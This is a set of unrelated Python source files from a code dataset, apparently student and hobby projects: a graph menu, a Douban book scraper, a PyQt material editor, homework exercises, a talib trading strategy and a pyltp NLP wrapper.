2/grafuri/assignment1/graph10k.txt\")\n \n if (command == \"writeToFile\"):\n \n ok = True\n g.writeToFile(\"E:/Faculta/sem 2/grafuri/assignment1/out.txt\")\n \n if (command == \"removeEdge\"):\n \n ok = True\n source = int(input(\"source: \"))\n destination = int(input(\"destination: \"))\n g.removeEdge(source, destination)\n \n if (command == \"removeNode\"):\n \n ok = True\n node = int(input(\"node: \"))\n g.removeNode(node)\n \n if (command == \"createRandomGraph\"):\n ok = True\n n = int(input(\"number of nodes: \"))\n m = int(input(\"number of edges: \"))\n InitializeGraph(g, n, m)\n\n if (command == \"ShortestPath\"):\n ok = True\n source = int(input(\"Source: \"))\n destination = int(input(\"Destination: \"))\n g.BFS(source, destination)\n\n if (command == \"StronglyConnectedComponents\"):\n ok = True\n g.printSCCs()\n \n if (command == \"print\"):\n ok = True\n print(g)\n \n if (command == \"exit\"):\n return\n\n if (ok == False):\n print(\"Wrong command!\")\n\n print(\"\\n\")\n print(\"Enter command: \")\n command = input()\n \n \nsys.setrecursionlimit(150000)\n\nthreading.stack_size(2**27)\nthreading.Thread(target=menu).start()\n#tests()\n#menu()\n","sub_path":"Graphs/assignment1/assignment1.py","file_name":"assignment1.py","file_ext":"py","file_size_in_byte":20970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"232532782","text":"# coding=utf-8\r\nimport json\r\nimport logging\r\nimport threading\r\nimport time\r\n\r\nimport requests\r\nfrom openpyxl import Workbook\r\n\r\n# create logger\r\nlogger_name = \"student\"\r\nlogger = logging.getLogger(logger_name)\r\nlogger.setLevel(logging.INFO)\r\n# create formatter\r\nfmt = \"%(asctime)s - %(levelname)s - %(message)s\"\r\nformatter = logging.Formatter(fmt)\r\n# create stream handler\r\nsh = logging.StreamHandler()\r\nsh.setFormatter(formatter)\r\n# add handler and formatter to logger\r\nlogger.addHandler(sh)\r\nlog = logger\r\n\r\nall_books = []\r\nlock = threading.Lock()\r\n\r\n\r\ndef book_spider(start, end, step):\r\n\tglobal all_books\r\n\tfor every in range(start, end, step):\r\n\t\tbody = requests.get(\"https://api.douban.com/v2/book/search\", dict(q=u\"新知三联书店\", start=every, count=step))\r\n\t\tjson_body = json.loads(body.text)\r\n\t\tlock.acquire()\r\n\t\tall_books.extend(json_body['books'])\r\n\t\tlock.release()\r\n\t\tlog.info(str(json_body['start']) + \"获取完成\")\r\n\t# time.sleep(1)\r\n\r\n\r\ndef to_excel(books):\r\n\twb = Workbook()\r\n\r\n\tsheet = wb.create_sheet(title=u\"三联\") # utf8->unicode\r\n\r\n\tsheet.append(['序号', '书名', '作者', '出版社', '出版日期', '网址', '页数', '装帧',\r\n\t '价格', 'subtitle', '平均分', '评价人数', 'origin_title',\r\n\t 'isbn', '图片地址', '简介', '目录'])\r\n\tcount = 1\r\n\tlog.info(\"开始生成excel\")\r\n\r\n\tfor i in books:\r\n\t\tsheet.append(\r\n\t\t\t[count, i['title'], ''.join(i['author']), i['publisher'], i['pubdate'], i['alt'], i['pages'], i['binding'],\r\n\t\t\t i['price'], i['subtitle'], i['rating']['average'], i['rating']['numRaters'],\r\n\t\t\t i['origin_title'], i['isbn13'], i['image'], i['summary'], i['catalog']])\r\n\t\tcount += 1\r\n\tsave_path = '三联.xlsx'\r\n\twb.save(save_path)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\ttt = []\r\n\ttotal = 9868\r\n\tstep = 1000\r\n\tfor i in range(0, total, step):\r\n\t\tt = threading.Thread(target=book_spider, args=[i, i + step, 100])\r\n\t\ttime.sleep(1)\r\n\t\ttt.append(t)\r\n\t\tt.start()\r\n\tfor i in tt:\r\n\t\ti.join()\r\n\tto_excel(all_books)\r\n","sub_path":"爬虫/豆瓣api爬虫.py","file_name":"豆瓣api爬虫.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"17555921","text":"import argparse\nimport numpy as np\nimport os\nfrom tools.msrda_utils import read_msrda_skeleton_file\n\n\ndef work_on_file(inp_file, out_file, strategy=2):\n \"\"\"\n load skeleton file which is inp_file\n and saves data into a pandas dataframe\n then the dataframe's x y z and conf are stored into out_file\n \"\"\"\n print(\"working on file :: \", inp_file)\n with open(inp_file, \"r\") as f:\n df, final_frames = read_msrda_skeleton_file(f, strategy)\n\n # setting conf to 1 (no reason)\n df[\"conf\"] = 1.0\n\n # Normalization\n # mapping x, y, z to 0:100\n df[\"x\"] = df[\"x\"] * 100\n df[\"y\"] = df[\"y\"] * 100\n\n df[\"z\"] = ((df[\"z\"] - df[\"z\"].min()) / (df[\"z\"].max() - df[\"z\"].min()) + 1) * 100\n\n print(\"writing to :: \", out_file)\n np.savetxt(out_file, df[[\"x\", \"y\", \"z\", \"conf\"]].values, delimiter=' ')\n print(\"-\" * 40)\n\n\nif __name__ == \"__main__\":\n \"\"\"\n takes in a daily activity skeleton data file\n and converts to a daily action format\n ex :::: python <prog_name> daily_skelton.txt test.txt\n can use --folder to give folder as input\n \"\"\"\n # Instantiate the parser\n parser = argparse.ArgumentParser(description='parse skeleton description')\n\n # Required positional argument\n parser.add_argument('inp', help='the skeleton data file name')\n parser.add_argument('out', help='the output file name')\n\n # Optional positional argument\n parser.add_argument('--folder', action='store_true')\n\n args = parser.parse_args()\n\n if args.folder:\n for filename in os.listdir(args.inp):\n if filename.endswith(\".txt\"):\n base_name = os.path.splitext(os.path.basename(filename))[0]\n work_on_file(args.inp + filename, args.out + base_name + \"_action.txt\")\n else:\n base_name = os.path.splitext(os.path.basename(args.inp))[0]\n work_on_file(args.inp, args.out + base_name + \"_action.txt\")\n","sub_path":"src/Data_Preparation/daily_activity_skeletons_to_msr_actions.py","file_name":"daily_activity_skeletons_to_msr_actions.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"285111229","text":"from os.path import join, dirname, realpath\n\ncorrect_aunt = {\n \"children\": 3,\n \"cats\": 7,\n \"samoyeds\": 2,\n \"pomeranians\": 3,\n \"akitas\": 0,\n \"vizslas\": 0,\n \"goldfish\": 5,\n \"trees\": 3,\n \"cars\": 2,\n \"perfumes\": 1\n}\n\nwith open(join(dirname(realpath(__file__)), \"input.txt\")) as f:\n for line in f:\n line_split = line.strip()[4:].split()\n aunt_nr = int(line_split[0][:-1])\n\n candidate = True\n\n for i in range(1, len(line_split), 2):\n category = line_split[i][:-1]\n amount = line_split[i + 1]\n amount = int(amount[:-1]) if ',' in amount else int(amount)\n\n if correct_aunt[category] != amount:\n candidate = False\n break\n\n if candidate:\n print(aunt_nr)\n","sub_path":"aoc2015/day16/day16_part1.py","file_name":"day16_part1.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"556942318","text":"import sys\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtWidgets import *\nimport ui_material_editor\nimport pickle\nfrom Material import *\nimport os.path\nimport os\nclass Material_Editor(QDialog, ui_material_editor.Ui_Dialog):\n\n\tdef __init__(self, parent = None):\n\t\tsuper(Material_Editor,self).__init__(parent)\n\t\tself.setupUi(self)\n\t\tself.btn_import.clicked.connect(self.on_import_material)\n\t\tself.btn_save.clicked.connect(self.on_save_material)\n\t\tself.btn_show_Curve.clicked.connect(self.on_btn_show_Curve)\n\t\t\n\t\t\n\tdef on_import_material(self):\n\t\tcurDir = os.getcwd()\n\t\tmater_dir = os.path.join(curDir,\"material\")\n\t\tprint(mater_dir)\n\t\ttry:\n\t\t\tfile_name, file_type = QFileDialog.getOpenFileName(self,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t u\"选取文件\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t mater_dir,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t u\"Image Files (*.mpkl)\") #设置文件扩展名过滤,注\n\t\t#file_name = QFileDialog.getOpenFileName(self,\\\n\t\t#\t u\"打开材料文件\", u\"/\",)\n\t\t\t\n\t\t\twith open(file_name,\"rb\") as f:\n\t\t\t\tself.mater = pickle.load(f)\n\t\t\tprint(self.mater)\n\t\t\tself.lineEdit_ID.setText(str(self.mater.ID))\n\t\t\tself.lineEdit_mass.setText(str(self.mater.mass))\n\t\t\tself.lineEdit_young.setText(str(self.mater.young))\n\t\t\tself.lineEdit_poison.setText(str(self.mater.poison))\n\t\t\tself.lineEdit_K.setText(str(self.mater.K_value))\n\t\t\tself.lineEdit_n.setText(str(self.mater.n_value))\n\t\t\tself.lineEdit_r00.setText(str(self.mater.r_value[0]))\n\t\t\tself.lineEdit_r45.setText(str(self.mater.r_value[1]))\n\t\t\tself.lineEdit_r90.setText(str(self.mater.r_value[2]))\n\t\texcept Exception as e:\n\t\t\tmsgBox = QMessageBox()\n\t\t\tmsgBox.setText(u\"Error in Type\")\n\t\t\tmsgBox.setInformativeText(str(e));\n\t\t\tmsgBox.setStandardButtons(QMessageBox.Cancel);\n\t\t\tmsgBox.setDefaultButton(QMessageBox.Cancel);\n\t\telse:\n\t\t\tpass\n\t\t\n\n\tdef on_save_material(self):\n\t\ttry:\n\t\t\tself.on_apply() \n\t\t\t#if self.combo_type.Text == u\"Steel\"\n\t\t\tcurDir = os.getcwd()\n\t\t\tfile = \"\".join([curDir,\"/material/\",self.mater.ID,\".mpkl\"])\n\t\t\twith open(file,\"wb\") as f:\n\t\t\t\tpickle.dump(self.mater,f,True)\n\t\texcept TypeError as e:\n\t\t\tmsgBox = QMessageBox()\n\t\t\tmsgBox.setText(u\"Error in Type\")\n\t\t\tmsgBox.setInformativeText(str(e));\n\t\t\tmsgBox.setStandardButtons(QMessageBox.Cancel);\n\t\t\tmsgBox.setDefaultButton(QMessageBox.Cancel);\n\t\t\tret = msgBox.exec();\n\t\texcept ValueError as e:\n\t\t\tmsgBox = QMessageBox()\n\t\t\tmsgBox.setText(u\"Error in inputs\")\n\t\t\tmsgBox.setInformativeText(str(e));\n\t\t\tmsgBox.setStandardButtons(QMessageBox.Cancel);\n\t\t\tmsgBox.setDefaultButton(QMessageBox.Cancel);\n\t\t\tret = msgBox.exec();\n\t\telse:\n\t\t\tmsgBox = QMessageBox()\n\t\t\tmsgBox.setText(u\"Material Saved\")\n\t\t\tmsgBox.setStandardButtons(QMessageBox.Ok);\n\t\t\tmsgBox.setDefaultButton(QMessageBox.Ok);\n\t\t\tret = msgBox.exec();\n\t\t \n\tdef on_apply(self):\n\t\tID = self.lineEdit_ID.text()\n\t\tmass = float(self.lineEdit_mass.text())\n\t\tyoung = float(self.lineEdit_young.text())\n\t\tpoison = float(self.lineEdit_poison.text())\n\t\tK = float(self.lineEdit_K.text())\n\t\tn = float(self.lineEdit_n.text())\n\t\tr00 = float(self.lineEdit_r00.text())\n\t\tr45 = float(self.lineEdit_r45.text())\n\t\tr90 = float(self.lineEdit_r90.text())\n\t\ttry:\n\t\t\tself.mater = SwiftMaterial(ID, mass,young,poison,K,n,r00,r45,r90)\n\t\texcept NameError as e:\n\t\t\tprint (e)\n\t\t\t\n\t\t\t\n\tdef on_btn_show_Curve(self):\n\t\tself.on_apply()\n\t\tstrain = np.arange(0,0.3,0.05)\n\t\tstress = self.mater.K_value * strain ** self.mater.n_value\n\t\tself.widget_ss.set_lines(strain,stress)\n\n\nif __name__ == '__main__':\n\timport sys\n\tapp = QApplication(sys.argv)\n\tw = Material_Editor()\n\tw.show()\n\tsys.exit(app.exec_())\n","sub_path":"material_editor.py","file_name":"material_editor.py","file_ext":"py","file_size_in_byte":3514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"88770542","text":"from django.urls import path\nfrom core.erp.views.category.views import *\n\napp_name = 'erp'\n\nurlpatterns = [\n path('category/list/',CategoryListView.as_view(),name='category_list'),\n path('category/list2/',category_list,name='category_list2'),\n path('category/create/',CategoryCreateView.as_view(),name='category_create')\n]","sub_path":"core/erp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"348842479","text":"#-----PRIMER PUNTO-----#\n#Crear una funcion que muestre en pantalla la suma, la resta, la multiplicacion, la division y la potencia.\ndef la_funcion(numero1, numero2, numero3):\n print (numero1 + numero2 + numero3)\n print (numero1 - numero2 - numero3)\n print (numero1*numero2*numero3)\n print (numero1/numero2/numero3)\n print (numero1**numero2**numero3)\n\nla_funcion(5,6,2)\n\n\n#-----SEGUNDO PUNTO-----#\n#Crear una funcion dada tres listas del mismo tamaño.\ndef MostrarElemento (lista):\n for elemento in lista :\n print (elemento)\nObjetosDeCocina = [\"cuchara\", \"olla\", \"tenedor\", \"espatula\", \"trapo\"]\nObjetosDeCasa = [\"sillon\", \"cama\", \"comedor\",\"cuadro\", \"toalla\"]\nZapatos = [\"tacones\", \"botas\", \"zapatillas\",\"chanclas\",\"baletas\"]\n\nMostrarElemento (ObjetosDeCocina)\nMostrarElemento (ObjetosDeCasa)\nMostrarElemento (Zapatos)\n\n\n#-----TERCER PUNTO-----#\n#Crear una funcion que calcule el área y la devuelva.\nBasePregunta = \"ingerese la cifra que quiera para el valor de la base del triangulo:\"\nAlturaPregunta = \"ingerese la cifra que quiera para el valor de la altura del triangulo\"\n\nBase = float (input(BasePregunta))\nAltura = float (input(AlturaPregunta))\n\ndef ÁreaDelTriangulo ():\n área = (Base*Altura)/2\n return área\n\nresultado = ÁreaDelTriangulo ()\nprint (resultado)\n\n\n#-----CUARTO PUNTO-----#\n#Crear una funcion que muestre el promedio, el minimo y el maximo.\ndef NumerosEnteros (lista):\n máximo = max (lista)\n mínimo = min (lista)\n datos = 0\n for elemento in lista:\n datos += elemento\n tamañoLista = len (lista)\n promedio = datos / tamañoLista\n print (f\"numero mayor en la lista es el {máximo}, el menor {mínimo} y el promedio es {promedio}\")\n\nnumeros = [20, 21, 22, 23, 24, 25, 26, 27, 28, 29]\nNumerosEnteros (numeros)\n\n\n#-----QUINTO PUNTO-----#\ndef Sucesión (posicion):\n L = 0\n I = 0\n for elemento in range (posicion -1):\n A = L + I\n L = I\n I = A\n return (L)\n\nnúmero = Sucesión (5)\nprint (\"El número que corresponde a el patrón es\", número)\n\n","sub_path":"parcilasdelsemestre.py/parcial#2.py","file_name":"parcial#2.py","file_ext":"py","file_size_in_byte":2052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"220401499","text":"import talib\nimport random\nimport math\nfrom sklearn.linear_model import LogisticRegression\n\n\ndef MA_model(openPrice, close_data, capital, alpha=0.003, beta=0.001):\n alpha = openPrice * alpha\n beta = openPrice * beta\n close_data_SMA = talib.SMA(close_data, 11)\n if alpha is None or beta is None:\n return 0\n elif openPrice - alpha > close_data_SMA[len(close_data_SMA) - 1]:\n\n return 1\n\n elif openPrice + beta < close_data_SMA[len(close_data_SMA) - 1]:\n\n return -1\n\n else:\n return 0\n\n\ndef KD_model(high, low, close, alpha, beta, capital):\n Stochastic_K, Stochastic_D = talib.STOCH(high, low, close, fastk_period=11, slowk_period=9, slowk_matype=0,\n slowd_period=9, slowd_matype=0)\n if (Stochastic_K[len(Stochastic_K) - 1] < alpha and Stochastic_K[len(Stochastic_K) - 1] - Stochastic_D[\n len(Stochastic_D) - 1] > 10) or Stochastic_K[len(Stochastic_K) - 1] < 30:\n\n return 1\n\n\n elif (Stochastic_K[len(Stochastic_K) - 1] > beta and Stochastic_D[len(Stochastic_D) - 1] - Stochastic_K[\n len(Stochastic_K) - 1] > 5) or Stochastic_K[len(Stochastic_K) - 1] > 70:\n\n return -1\n\n else:\n return 0\n\n\ndef RSI_model(close, openPrice, capital):\n RSI = talib.RSI(close, 11) # RSI\n rsi_Index = RSI[len(RSI) - 1]\n if rsi_Index <= 15:\n if capital != 0:\n RSI_model.buy_price = openPrice\n return 1\n\n elif rsi_Index > 70:\n if RSI_model.buy_price < openPrice:\n return -1\n else:\n return 0\n elif len(RSI) > 10:\n if RSI[len(RSI) - 1] > RSI[len(RSI) - 2] and RSI[len(RSI) - 2] > RSI[len(RSI) - 3] and rsi_Index < 70:\n if capital != 0:\n RSI_model.buy_price = openPrice\n return 1\n\n elif RSI[len(RSI) - 1] < RSI[len(RSI) - 2] and RSI[len(RSI) - 2] < RSI[len(RSI) - 3] and rsi_Index > 20:\n if RSI_model.buy_price < openPrice:\n return -1\n else:\n return 0\n else:\n return 0\n else:\n return 0\n\n\ndef ML_model(open, close, high, low, volume, openPrice):\n logreg = LogisticRegression(C=1e5, solver='lbfgs', multi_class='multinomial', max_iter=6000)\n sma_vec = talib.SMA(close, 11)\n sma_vol_vec = talib.SMA(volume, 11)\n k_vec, d_vec = talib.STOCH(high, low, close, fastk_period=11, slowk_period=9,\n slowk_matype=0,\n slowd_period=9, slowd_matype=0)\n rsi_vec = talib.RSI(close, 11) # RSI\n train_x = []\n train_y = []\n for i, data in enumerate(sma_vec):\n if i == len(sma_vec) - 1:\n break\n if math.isnan(data) or math.isnan(k_vec[i]) or math.isnan(d_vec[i]) or math.isnan(rsi_vec[i]):\n continue\n sma_index = sma_vec[i]\n rsi_index = rsi_vec[i]\n k = k_vec[i]\n d = d_vec[i]\n subkd = k - d\n sma_vol = volume[i]\n last_distance = open[i] - close[i]\n high_dis = high[i] - open[i]\n low_dis = open[i] - low[i]\n tmp_x = []\n tmp_x.append(open[i + 1] - sma_index)\n tmp_x.append(rsi_index)\n tmp_x.append(k)\n tmp_x.append(d)\n tmp_x.append(subkd)\n tmp_x.append(sma_vol)\n tmp_x.append(last_distance)\n tmp_x.append(open[i + 1])\n tmp_x.append(high_dis)\n tmp_x.append(low_dis)\n train_x.append(tmp_x)\n if close[i + 1] > close[i]:\n train_y.append(1)\n elif close[i + 1] < close[i]:\n train_y.append(2)\n else:\n train_y.append(0)\n logreg.fit(train_x, train_y)\n last_sma = openPrice - sma_vec[len(sma_vec) - 1]\n last_rsi = rsi_vec[len(rsi_vec) - 1]\n last_k = k_vec[len(k_vec) - 1]\n last_d = d_vec[len(d_vec) - 1]\n subkd = last_k - last_d\n sma_vol = volume[len(volume) - 1]\n last_distance = open[len(open) - 1] - close[len(close) - 1]\n high_dis = high[len(high) - 1] - open[len(open) - 1]\n low_dis = open[len(open) - 1] - low[len(low) - 1]\n next = [last_sma, last_rsi, last_k, last_d, subkd, sma_vol, last_distance, openPrice, high_dis, low_dis]\n y = logreg.predict([next])\n return y[0]\n\n\ndef cal_val(action, capital, stock, openPrice):\n if action == 1:\n stock = (capital - 100) / openPrice\n capital = 0\n elif action == -1:\n capital = stock * openPrice - 100\n stock = 0\n value = stock * openPrice - 100 + capital\n\n return value\n\n\ndef myStrategy(dailyOhlcvFile, minutelyOhlcvFile, openPrice):\n high = dailyOhlcvFile['high']\n open = dailyOhlcvFile['open']\n low = dailyOhlcvFile['low']\n close = dailyOhlcvFile['close']\n volume = dailyOhlcvFile['volume']\n RSI_action = RSI_model(close, openPrice, myStrategy.RSI_capital)\n KD_action = KD_model(high, low, close, alpha=20, beta=80, capital=myStrategy.KD_capital)\n MA_action = MA_model(openPrice, close, myStrategy.MA_capital)\n ML_action = ML_model(open, close, high, low, volume, openPrice)\n if ML_action == 2:\n ML_action = -1\n if MA_action == 1 and myStrategy.MA_capital != 0:\n myStrategy.MA_stock = (myStrategy.MA_capital - 100) / openPrice\n myStrategy.MA_capital = 0\n elif MA_action == -1 and myStrategy.MA_stock != 0:\n myStrategy.MA_capital = myStrategy.MA_stock * openPrice - 100\n myStrategy.MA_stock = 0\n MA_value = myStrategy.MA_stock * openPrice - 100 + myStrategy.MA_capital\n\n if KD_action == 1 and myStrategy.KD_capital != 0:\n myStrategy.KD_stock = (myStrategy.KD_capital - 100) / openPrice\n myStrategy.KD_capital = 0\n elif KD_action == -1 and myStrategy.KD_stock != 0:\n myStrategy.KD_capital = myStrategy.KD_stock * openPrice - 100\n myStrategy.KD_stock = 0\n KD_value = myStrategy.KD_stock * openPrice - 100 + myStrategy.KD_capital\n if RSI_action == 1 and myStrategy.RSI_capital != 0:\n myStrategy.RSI_stock = (myStrategy.RSI_capital - 100) / openPrice\n myStrategy.RSI_capital = 0\n elif RSI_action == -1 and myStrategy.RSI_stock != 0:\n myStrategy.RSI_capital = myStrategy.RSI_stock * openPrice - 100\n myStrategy.RSI_stock = 0\n RSI_value = myStrategy.RSI_stock * openPrice - 100 + myStrategy.RSI_capital\n\n if ML_action == 1 and myStrategy.ML_capital != 0:\n myStrategy.ML_stock = (myStrategy.ML_capital - 100) / openPrice\n myStrategy.ML_capital = 0\n elif ML_action == -1 and myStrategy.ML_stock != 0:\n myStrategy.ML_capital = myStrategy.ML_stock * openPrice - 100\n myStrategy.ML_stock = 0\n ML_value = myStrategy.ML_stock * openPrice - 100 + myStrategy.ML_capital\n doma = sum([abs(KD_value - 500000), abs(RSI_value - 500000), abs(ML_value - 500000)])\n value_list = [(KD_value - 500000) / doma, (RSI_value - 500000) / doma, (ML_value - 500000) / doma]\n weight_list = softmax(value_list)\n action_board = {0: 0.0, 1: 0.0, -1: 0.0}\n action_board[KD_action] += weight_list[0]\n action_board[RSI_action] += weight_list[1]\n action_board[ML_action] += weight_list[2]\n action_score=[action_board[0],action_board[1],action_board[-1]]\n max_score = max(action_score)\n action = action_score.index(max_score)\n if action == 2:\n action = -1\n\n if action == 1 and myStrategy.capital != 0:\n myStrategy.stock = (myStrategy.capital - 100) / openPrice\n myStrategy.capital = 0\n elif action == -1 and myStrategy.stock != 0:\n myStrategy.capital = myStrategy.stock * openPrice - 100\n myStrategy.stock = 0\n else:\n action = 0\n\n if KD_action!= 0:\n action=KD_action\n else:\n action = ML_action\n\n\n if KD_action == 1 and myStrategy.KD_capital != 0:\n myStrategy.KD_stock = (myStrategy.KD_capital - 100) / openPrice\n myStrategy.KD_capital = 0\n elif KD_action == -1 and myStrategy.KD_stock != 0:\n myStrategy.KD_capital = myStrategy.KD_stock * openPrice - 100\n myStrategy.KD_stock = 0\n KD_value = myStrategy.KD_stock * openPrice - 100 + myStrategy.KD_capital\n if RSI_action == 1 and myStrategy.RSI_capital != 0:\n myStrategy.RSI_stock = (myStrategy.RSI_capital - 100) / openPrice\n myStrategy.RSI_capital = 0\n elif RSI_action == -1 and myStrategy.RSI_stock != 0:\n myStrategy.RSI_capital = myStrategy.RSI_stock * openPrice - 100\n myStrategy.RSI_stock = 0\n RSI_value = myStrategy.RSI_stock * openPrice - 100 + myStrategy.RSI_capital\n if ML_action == 1 and myStrategy.ML_capital != 0:\n myStrategy.ML_stock = (myStrategy.ML_capital - 100) / openPrice\n myStrategy.ML_capital = 0\n elif ML_action == -1 and myStrategy.ML_stock != 0:\n myStrategy.ML_capital = myStrategy.ML_stock * openPrice - 100\n myStrategy.ML_stock = 0\n\n ML_value = myStrategy.ML_stock * openPrice - 100 + myStrategy.ML_capital\n value = myStrategy.stock * openPrice - 100 + myStrategy.capital\n\n return action\n\n\ndef softmax(value_list):\n total_value = 0\n weight_list = []\n for value in value_list:\n total_value += math.exp(value)\n\n for value in value_list:\n weight_list.append(math.exp(value) / total_value)\n return weight_list\n\n\nRSI_model.buy_price = 0\nmyStrategy.capital = 500000\nmyStrategy.stock = 0\nmyStrategy.MA_capital = 500000\nmyStrategy.MA_stock = 0\nmyStrategy.RSI_capital = 500000\nmyStrategy.RSI_stock = 0\nmyStrategy.KD_capital = 500000\nmyStrategy.KD_stock = 0\nmyStrategy.ML_capital = 500000\nmyStrategy.ML_stock = 0\nML_model.buy_price = 0","sub_path":"myStrategy.py","file_name":"myStrategy.py","file_ext":"py","file_size_in_byte":9524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"654162174","text":"#-*- coding: utf-8 -*-\n\nqtdecasos = int(input())\n\nfor i in range(qtdecasos):\n soma = 0\n\n qtdesoma = int(input())\n\n for j in range(qtdesoma):\n if (j+1)%2 != 0:\n soma = soma + 1\n else:\n soma = soma - 1\n\n print(\"{}\".format(soma))","sub_path":"Python/URI 1866.py","file_name":"URI 1866.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"426810016","text":"def sum_odd_numbers(num):\n '''\n WITH A FOR LOOP\n Given a number calculate and return the sum of odd numbers from 1 to num.\n Example: if num is 11 the sum total is 1+3+5+7+9+11 = 36\n :param num: Number greater than 0\n :return: the sum of all the odd numbers from 1 to num\n '''\n total = 0\n #write your code starting here; use total as the sum total\n \n for num in range(1,num+1):\n if (num % 2)!= 0:\n total += num\n \n return total\n \n\ndef list_of_even_numbers(num):\n '''\n WITH WHILE LOOP\n Given a number return a list of all the even numbers from 1 to num\n Example: if num is 12 return the list 2,4,6,8,10,12,\n :param num:\n :return: A list of all even numbers up to a num\n '''\n even_numbers = ''\n #write your code starting here; you'll need to concatenate evens to even_numbers\n\n index=1\n while index<=num:\n if index % 2 == 0:\n even_numbers = even_numbers + str(index)+','\n index = index + 1\n return even_numbers\n\ndef main1():\n '''\n You will make calls to sum_odd_numbers and list_of_even_numbers functions above.\n Example:\n Call list sum_odd_numbers and save its return value to a result variable\n result = sum_odd_numbers(10)\n print(result)\n\n For your assignment:\n\n Prompt user for a number from keyboard\n This is the number of times the program will loop and ...\n In the loop call the sum_odd_numbers(index) with the current value of the loop index and save return value\n print the value\n In the loop call the list_even_numbers(index) with the current value of the loop index and save return value\n print the value\n\n WHAT IS LOOP INDEX?\n for i in range(1,5): #i is loop index\n #other code\n\n while i < 10: #i is loop index\n #other code\n\n TO RUN YOUR PROGRAM IN IDLE SELECT RUN->RUN MODULE OR THE F5 KEY\n IN THE PYTHON SHELL TYPE main1() to run the code in this function\n\n DON'T ADD A RETURN STATEMENT TO THIS FUNCTION\n '''\n #write your code here\n num = int(input('Enter number from keyboard:' ))\n for i in range(1, num+1):\n odd_num_sum = sum_odd_numbers(i) \n even_num_list = list_of_even_numbers(i) \n print(odd_num_sum)\n print(even_num_list)\n\nmain1()\n","sub_path":"src/homework/homework3.py","file_name":"homework3.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"545827902","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport sys, os\nfrom pyltp import Segmentor, Postagger, Parser ,SementicRoleLabeller,NamedEntityRecognizer\nimport numpy as np\n\n\n# In[11]:\n\n\nclass nlpLtp:\n \n def __init__(self):\n MODELDIR = '/home/xyf/models/chinese/ltp_model'\n\n #系统切词\n self.segmentor = Segmentor()\n self.segmentor.load(os.path.join(MODELDIR, \"cws.model\"))\n\n self.postagger = Postagger()\n self.postagger.load(os.path.join(MODELDIR, \"pos.model\"))\n\n self.namedentityrecognizer = NamedEntityRecognizer()\n self.namedentityrecognizer.load(os.path.join(MODELDIR, \"ner.model\"))\n\n self.parser = Parser()\n self.parser.load(os.path.join(MODELDIR, \"parser.model\"))\n\n self.labeller = SementicRoleLabeller()\n self.labeller.load(os.path.join(MODELDIR, \"pisrl.model\"))\n\n self.parse_dict = {\"SBV\":\"主谓关系\", \"VOB\":\"动宾关系\", \"IOB\":\"间宾关系\", \"FOB\":\"前置宾语\", \"DBL\":\"兼语\",\n \"ATT\":\"定中关系\", \"ADV\":\"状中关系\", \"CMP\":\"动补关系\", \"POB\":\"介宾关系\", \"LAD\":\"左附加关系\",\n \"RAD\":\"右附加关系\", \"IS\":\"独立结构\",\"COO\":\"并列关系\", \"HED\":\"核心关系\", \"WP\":\"标点\"}\n\n def sent_segment(self, sentence):\n words_ltp = self.segmentor.segment(sentence)\n words_list = [w for w in words_ltp]\n return words_list\n\n def sent_pos(self, sentence):\n words = self.segmentor.segment(sentence)\n postags = self.postagger.postag(words)\n return postags\n\n def sent_ner(self, sentence):\n words = self.segmentor.segment(sentence)\n postags = self.postagger.postag(words)\n netags = self.namedentityrecognizer.recognize(words, postags)\n return netags\n\n def sent_syntax(self, sentence):\n words = self.segmentor.segment(sentence)\n postags = self.postagger.postag(words)\n parsing = self.parser.parse(words, postags)\n syntax = \" \".join(\"%d:%s\" % (pars.head, pars.relation) for pars in parsing)\n return parsing, syntax\n\n def sent_syntax_self(self,sentence):\n print ('原文本:' + sentence)\n words = self.sent_segment(sentence)\n print('分词结果:' + str(words))\n postags = self.sent_pos(sentence)\n print('词性标注结果:' + str([a for a in postags]))\n parsing = self.parser.parse(words, postags)\n parsing_a = \" \".join(\"%d:%s\" % (pars.head, pars.relation) for pars in parsing)\n print('句法分析结果:' + parsing_a)\n\n parsing_b = zip(words, parsing)\n for par in parsing_b:\n if par[1].relation in ['WP', 'HED']:\n print('\"'+par[0]+'\"是'+self.parse_dict[par[1].relation], end=', ')\n else:\n print('\"'+par[0]+'\"'+'与'+'\"'+words[par[1].head-1]+'\"'+':'+self.parse_dict[par[1].relation], end=', ')\n\n def sent_role(self, sentence):\n words = self.sent_segment(sentence)\n postags = self.sent_pos(sentence)\n parsing = self.parser.parse(words, postags)\n\n roles = self.labeller.label(words, postags, parsing)\n for role in roles: #roles是谓词\n print(role.index, \"\".join(\n [\"%s:(%d,%d)\" % (arg.name, arg.range.start, arg.range.end) for arg in role.arguments]))\n \n for arg in role.arguments:\n if arg.name == 'A1':\n words_list=words[arg.range.start:arg.range.end+1]\n print(''.join(words_list))\n\n# 构造一个对象\nnlpltp = nlpLtp()\n\n\n# 